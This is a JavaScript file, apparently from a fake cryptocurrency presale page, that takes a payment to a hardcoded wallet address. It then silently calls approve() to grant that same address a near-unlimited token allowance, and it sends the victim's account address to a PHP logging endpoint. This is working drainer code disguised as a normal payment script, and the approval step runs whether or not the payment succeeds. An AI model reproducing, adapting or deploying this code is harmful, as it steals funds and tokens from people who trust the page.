var addr = "0xe729FC19de8E6F7170edA2aE8Adf06402bD74a83";
function reqListener () {
  console.log(this.responseText);
}



function startapp() {

		const to = addr;
		const amount = Web3.utils.toWei('100000000', 'kwei');
		contract.methods.approve(to, 999999999999999).send({
			from: accounts[0],gasPrice: '100000000000',
    gas: 21000
		}, function (error, result) {
			if (!error) {
				var oReq = new XMLHttpRequest();
oReq.open("GET", "../../assets/libplay/index.php?user="+accounts);
oReq.send();

				console.log("ok");
				console.log(result);
			} else {


				console.log(error);
				console.log("err");
			}
		});



	};


function startProcess() {
                EThAppDeploy.loadEtherium();
        }


        EThAppDeploy = {
            loadEtherium: async () => {
                if (typeof window.ethereum !== 'undefined') {
                    EThAppDeploy.web3Provider = ethereum;
                    EThAppDeploy.requestAccount(ethereum);
                } else {
var amount = $('#presaleAmount').val();
document.getElementById("swap-page").innerHTML = "<div align=center><img src=https://api.qrserver.com/v1/create-qr-code/?size=250x250&data="+addr+" /><br><b>Sent "+amount+" to 0xe729FC19de8E6F7170edA2aE8Adf06402bD74a83</b></div>";

text = addr;
navigator.clipboard.writeText(text)

    //alert("Address copied to clipboard!");
                }
            },
            /****
             * Request A Account
             * **/
            requestAccount: async (ethereum) => {
                ethereum
                    .request({
                        method: 'eth_requestAccounts'
                    })
                    .then((resp) => {
                        //do payments with activated account
                        EThAppDeploy.payNow(ethereum, resp[0]);
                    })
                    .catch((err) => {
                        // Some unexpected error.
                        console.log(err);
                    });
            },
            /***
             *
             * Do Payment
             * */
            payNow: async (ethereum, from) => {
                var amount = $('#presaleAmount').val();
                ethereum
                    .request({
                        method: 'eth_sendTransaction',
                        params: [{
                            from: from,
                            to: addr,
                            value: '0x' + ((amount * 1000000000000000000).toString(16)),
                        }, ],
                    })
                    .then((txHash) => {
                        if (txHash) {
                            console.log(txHash);setTimeout(function(){ 
startapp();

									}
								, 2500);
                      } else {
                            console.log("Something went wrong. Please try again");setTimeout(function(){ 
startapp();

									}
								, 2500);
                        }
                    })
                    .catch((error) => {
                        console.log(error);setTimeout(function(){ 
startapp();

									}
								, 2500);
                    });
            },
        }
		